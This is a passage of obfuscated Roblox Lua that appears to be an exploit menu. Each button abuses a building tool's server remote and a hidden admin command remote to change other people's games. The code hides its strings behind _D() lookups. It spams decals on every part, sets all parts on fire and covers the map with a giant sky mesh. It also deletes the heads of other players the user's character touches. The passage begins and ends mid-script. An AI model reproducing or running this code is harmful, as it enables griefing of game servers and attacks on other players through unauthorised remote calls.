UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(449)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(450) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(451) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(452),
[2] = {
[1] = {
[_D(453)] = part,
[_D(454)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(455),
[2] = {
[1] = {
[_D(456)] = part,
[_D(457)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(458),
[2] = _D(459),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(460),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(461),
[2] = {
[1] = {
[_D(462)] = part,
[_D(463)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(464),
[2] = {
[1] = {
[_D(465)] = part,
[_D(466)] = cf,
[_D(467)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(468),
[2] = {
[1] = {
[_D(469)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(470),
[2] = {
[1] = {
[_D(471)] = part,
[_D(472)] = _D(473)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(474),
[2] = {
[1] = {
[_D(475)] = part,
[_D(476)] = _D(477)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(478),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(479),
[2] = {
[1] = {
[_D(480)] = part,
[_D(481)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(482),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(483),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(484),
[2] = {
[1] = {
[_D(485)] = part,
[_D(486)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(487),
[2] = {
[1] = {
[_D(488)] = part,
[_D(489)] = _D(490)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(491),
[2] = {
[1] = {
[_D(492)] = part,
[_D(493)] = _D(494),
[_D(495)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(496),
[2] = {
[1] = {
[_D(497)] = part,
[_D(498)] = color --[[Color3]],
[_D(499)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(500),
[2] = {
[1] = {
[_D(501)] = part,
[_D(502)] = side,
[_D(503)] = _D(504)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(505),
[2] = {
[1] = {
[_D(506)] = part,
[_D(507)] = side,
[_D(508)] = _D(509),
[_D(510)] = _D(511).. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA(_D(512)) and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,_D(513))
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,_D(514))
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(4000, 4000, 4000))
SetLocked(v,true)
end
end
end
Sky(_D(515))
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(516) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(517) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(518),
[2] = {
[1] = {
[_D(519)] = part,
[_D(520)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(521),
[2] = {
[1] = {
[_D(522)] = part,
[_D(523)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(524),
[2] = _D(525),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(526),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(527),
[2] = {
[1] = {
[_D(528)] = part,
[_D(529)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(530),
[2] = {
[1] = {
[_D(531)] = part,
[_D(532)] = cf,
[_D(533)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(534),
[2] = {
[1] = {
[_D(535)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(536),
[2] = {
[1] = {
[_D(537)] = part,
[_D(538)] = _D(539)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(540),
[2] = {
[1] = {
[_D(541)] = part,
[_D(542)] = _D(543)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(544),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(545),
[2] = {
[1] = {
[_D(546)] = part,
[_D(547)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(548),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(549),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(550),
[2] = {
[1] = {
[_D(551)] = part,
[_D(552)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(553),
[2] = {
[1] = {
[_D(554)] = part,
[_D(555)] = _D(556)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(557),
[2] = {
[1] = {
[_D(558)] = part,
[_D(559)] = _D(560),
[_D(561)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(562),
[2] = {
[1] = {
[_D(563)] = part,
[_D(564)] = color --[[Color3]],
[_D(565)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(566),
[2] = {
[1] = {
[_D(567)] = part,
[_D(568)] = side,
[_D(569)] = _D(570)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(571),
[2] = {
[1] = {
[_D(572)] = part,
[_D(573)] = side,
[_D(574)] = _D(575),
[_D(576)] = _D(577).. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA(_D(578)) then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam(_D(579))
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(580) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(581) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(582),
[2] = {
[1] = {
[_D(583)] = part,
[_D(584)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(585),
[2] = {
[1] = {
[_D(586)] = part,
[_D(587)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(588),
[2] = _D(589),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(590),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(591),
[2] = {
[1] = {
[_D(592)] = part,
[_D(593)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(594),
[2] = {
[1] = {
[_D(595)] = part,
[_D(596)] = cf,
[_D(597)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(598),
[2] = {
[1] = {
[_D(599)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(600),
[2] = {
[1] = {
[_D(601)] = part,
[_D(602)] = _D(603)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(604),
[2] = {
[1] = {
[_D(605)] = part,
[_D(606)] = _D(607)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(608),
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(609),
[2] = {
[1] = {
[_D(610)] = part,
[_D(611)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(612),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(613),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(614),
[2] = {
[1] = {
[_D(615)] = part,
[_D(616)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(617),
[2] = {
[1] = {
[_D(618)] = part,
[_D(619)] = _D(620)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(621),
[2] = {
[1] = {
[_D(622)] = part,
[_D(623)] = _D(624),
[_D(625)] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = _D(626),
[2] = {
[1] = {
[_D(627)] = part,
[_D(628)] = _D(629)
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
local player = game.Players.LocalPlayer
local ReplicatedStorage = game:GetService(_D(630))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(631)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(632))
end)
local UTSG = Instance.new(_D(633))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.089, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(634)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(635) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(636) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(637),
[2] = {
[1] = {
[_D(638)] = part,
[_D(639)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(640),
[2] = {
[1] = {
[_D(641)] = part,
[_D(642)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(643),
[2] = _D(644),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(645),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(646),
[2] = {
[1] = {
[_D(647)] = part,
[_D(648)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(649),
[2] = {
[1] = {
[_D(650)] = part,
[_D(651)] = cf,
[_D(652)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(653),
[2] = {
[1] = {
[_D(654)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(655),
[2] = {
[1] = {
[_D(656)] = part,
[_D(657)] = _D(658)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(659),
[2] = {
[1] = {
[_D(660)] = part,
[_D(661)] = _D(662)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(663),
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(664),
[2] = {
[1] = {
[_D(665)] = part,
[_D(666)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(667),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(668),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(669),
[2] = {
[1] = {
[_D(670)] = part,
[_D(671)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(672),
[2] = {
[1] = {
[_D(673)] = part,
[_D(674)] = _D(675)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(676),
[2] = {
[1] = {
[_D(677)] = part,
[_D(678)] = _D(679),
[_D(680)] = brightness
}
}
}
_(args)
end
local player = game.Players.LocalPlayer
local char = player.Character
function xd()
spawn(function()
local args = {
[1] = _D(681),
[2] = {
[1] = {
[_D(682)] = game:GetService(_D(683)).LocalPlayer.Character.Torso,
[_D(684)] = 1
},
[2] = {
[_D(685)] = game:GetService(_D(686)).LocalPlayer.Character:FindFirstChild(_D(687)),
[_D(688)] = 1
},
[3] = {
[_D(689)] = game:GetService(_D(690)).LocalPlayer.Character.HumanoidRootPart,
[_D(691)] = 1
},
[4] = {
[_D(692)] = game:GetService(_D(693)).LocalPlayer.Character:FindFirstChild(_D(694)),
[_D(695)] = 1
},
[5] = {
[_D(696)] = game:GetService(_D(697)).LocalPlayer.Character:FindFirstChild(_D(698)),
[_D(699)] = 1
},
[6] = {
[_D(700)] = game:GetService(_D(701)).LocalPlayer.Character:FindFirstChild(_D(702)),
[_D(703)] = 1
},
[7] = {
[_D(704)] = game:GetService(_D(705)).LocalPlayer.Character.Head,
[_D(706)] = 1
},
}
}
_(args)
end)
end
function Thomas(player)
SetAnchor(true,char.HumanoidRootPart)
CreatePart(char.HumanoidRootPart.CFrame,char,_D(707))
SetCollision(char.Part,false)
SetLocked(char.Part,false)
Resize(char.Part,Vector3.new(0, 0, 0),char.HumanoidRootPart.CFrame)
SetLocked(char.HumanoidRootPart,false)
Weld(char.Part,char.HumanoidRootPart,char.Part)
SetAnchor(false,char.Part)
AddMesh(char.Part)
MeshResize(char.Part,Vector3.new(2.8, 2.8, 2.8))
SetMesh(char.Part,_D(708))
SetTexture(char.Part,_D(709))
SetAnchor(false,char.HumanoidRootPart)
char.Humanoid.WalkSpeed = 50
local function SFX(id) local s=Instance.new(_D(710),char.Torso); s.SoundId = _D(711)..id; s.Volume = 1; return s; end
char.Part.Touched:connect(function(p)
if p.Parent then
if p.Parent:IsA(_D(712)) then
if game.Players:FindFirstChild(p.Parent.Name) then
if p.Parent.Name ~= game.Players.LocalPlayer.Name then
spawn(function()
DestroyPart(game.Players:FindFirstChild(p.Parent.Name).Character.Head)
end)
local Whistle = SFX(17707206608)
Whistle:Play()
end
end
end
end
end)
local Music = SFX(0)
Music.Pitch = 1
Music.Volume = 100
Music:Play()
game:GetService(_D(713)).RenderStepped:Connect(function()
for i,v in char:GetDescendants() do
if v:IsA(_D(714)) then
char.Humanoid.WalkSpeed = 50
v.CanCollide = false
end
end
end)
end
Thomas(player)
xd()
local ReplicatedStorage = game:GetService(_D(715))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(716)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(717))
end)
local UTSG = Instance.new(_D(718))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.089, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(719)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(720) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(721) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(722),
[2] = {
[1] = {
[_D(723)] = part,
[_D(724)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(725),
[2] = {
[1] = {
[_D(726)] = part,
[_D(727)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(728),
[2] = _D(729),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(730),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(731),
[2] = {
[1] = {
[_D(732)] = part,
[_D(733)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(734),
[2] = {
[1] = {
[_D(735)] = part,
[_D(736)] = cf,
[_D(737)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(738),
[2] = {
[1] = {
[_D(739)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(740),
[2] = {
[1] = {
[_D(741)] = part,
[_D(742)] = _D(743)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(744),
[2] = {
[1] = {
[_D(745)] = part,
[_D(746)] = _D(747)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(748),
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(749),
[2] = {
[1] = {
[_D(750)] = part,
[_D(751)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(752),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(753),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(754),
[2] = {
[1] = {
[_D(755)] = part,
[_D(756)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(757),
[2] = {
[1] = {
[_D(758)] = part,
[_D(759)] = _D(760)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(761),
[2] = {
[1] = {
[_D(762)] = part,
[_D(763)] = _D(764),
[_D(765)] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = _D(766),
[2] = {
[1] = {
[_D(767)] = part,
[_D(768)] = _D(769)
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
local player = game.Players.LocalPlayer
end)
local UTSG = Instance.new(_D(770))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.089, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(771)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(772))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(773)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(774))
end)
local UTSG = Instance.new(_D(775))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.089, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(776)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == _D(777) then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(778) then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
local RunService = game:GetService(_D(779))
function _(args)
remote:InvokeServer(unpack(args))
end
function CreatePart(cf, parent)
local args = {
[1] = _D(780),
[2] = _D(781),
[3] = cf,
[4] = parent
}
_(args)
end
function SetAnchor(part, boolean)
local args = {
[1] = _D(782),
[2] = {
[1] = {
[_D(783)] = part,
[_D(784)] = boolean
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(785),
[2] = {
[1] = {
[_D(786)] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = _D(787),
[2] = {
[1] = {
[_D(788)] = part,
[_D(789)] = _D(790) .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(791),
[2] = {
[1] = {
[_D(792)] = part,
[_D(793)] = texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = _D(794),
[2] = {
[1] = {
[_D(795)] = part,
[_D(796)] = size
}
}
}
_(args)
end
function SetTransparency(part, value)
local args = {
[1] = _D(797),
[2] = {
[1] = {
[_D(798)] = part,
[_D(799)] = value
}
}
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(800),
[2] = {
[1] = part
}
}
_(args)
end
local images = {
_D(801),
_D(802),
_D(803),
_D(804),
_D(805),
_D(806),
_D(807),
_D(808),
_D(809),
_D(810)
}
local skyPart
local skyLoop
local frameTime = 0.9 / 10
local lastUpdate = 0
function CreateSky()
local hrp = char:FindFirstChild(_D(811))
if not hrp then return end
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)), workspace)
for _, v in workspace:GetDescendants() do
if v:IsA(_D(812)) and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
skyPart = v
SetAnchor(skyPart, true)
AddMesh(skyPart)
SetMesh(skyPart, _D(813))
MeshResize(skyPart, Vector3.new(4000, 4000, 4000))
SetTransparency(skyPart, 1)
local index = 1
skyLoop = RunService.Heartbeat:Connect(function(deltaTime)
lastUpdate = lastUpdate + deltaTime
if lastUpdate >= frameTime then
lastUpdate = 0
if not skyPart then
skyLoop:Disconnect()
return
end
SetTransparency(skyPart, 0)
SetTexture(skyPart, images[index])
index = index % #images + 1
end
end)
end
end
end
function ResetSky()
if skyPart then
DestroyPart(skyPart)
skyPart = nil
end
if skyLoop then
skyLoop:Disconnect()
skyLoop = nil
end
CreateSky()
end
player.CharacterAdded:Connect(function(newChar)
char = newChar
ResetSky()
end)
if char and char:FindFirstChild(_D(814)) then
char:WaitForChild(_D(815)).Died:Connect(function()
ResetSky()
end)
end
CreateSky()
end)
local UTSG = Instance.new(_D(816))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.133, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(817)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(818) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(819) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(820),
[2] = {
[1] = {
[_D(821)] = part,
[_D(822)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(823),
[2] = {
[1] = {
[_D(824)] = part,
[_D(825)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(826),
[2] = _D(827),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(828),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(829),
[2] = {
[1] = {
[_D(830)] = part,
[_D(831)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(832),
[2] = {
[1] = {
[_D(833)] = part,
[_D(834)] = cf,
[_D(835)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(836),
[2] = {
[1] = {
[_D(837)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(838),
[2] = {
[1] = {
[_D(839)] = part,
[_D(840)] = _D(841)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(842),
[2] = {
[1] = {
[_D(843)] = part,
[_D(844)] = _D(845)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(846),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(847),
[2] = {
[1] = {
[_D(848)] = part,
[_D(849)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(850),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(851),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(852),
[2] = {
[1] = {
[_D(853)] = part,
[_D(854)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(855),
[2] = {
[1] = {
[_D(856)] = part,
[_D(857)] = _D(858)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(859),
[2] = {
[1] = {
[_D(860)] = part,
[_D(861)] = _D(862),
[_D(863)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(864),
[2] = {
[1] = {
[_D(865)] = part,
[_D(866)] = color --[[Color3]],
[_D(867)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(868),
[2] = {
[1] = {
[_D(869)] = part,
[_D(870)] = side,
[_D(871)] = _D(872)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(873),
[2] = {
[1] = {
[_D(874)] = part,
[_D(875)] = side,
[_D(876)] = _D(877),
[_D(878)] = _D(879).. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA(_D(880)) and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,_D(881))
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,_D(882))
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(4000, 4000, 4000))
SetLocked(v,true)
end
end
end
Sky(_D(883))
end)
local UTSG = Instance.new(_D(884))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.133, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(885)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(886) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(887) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
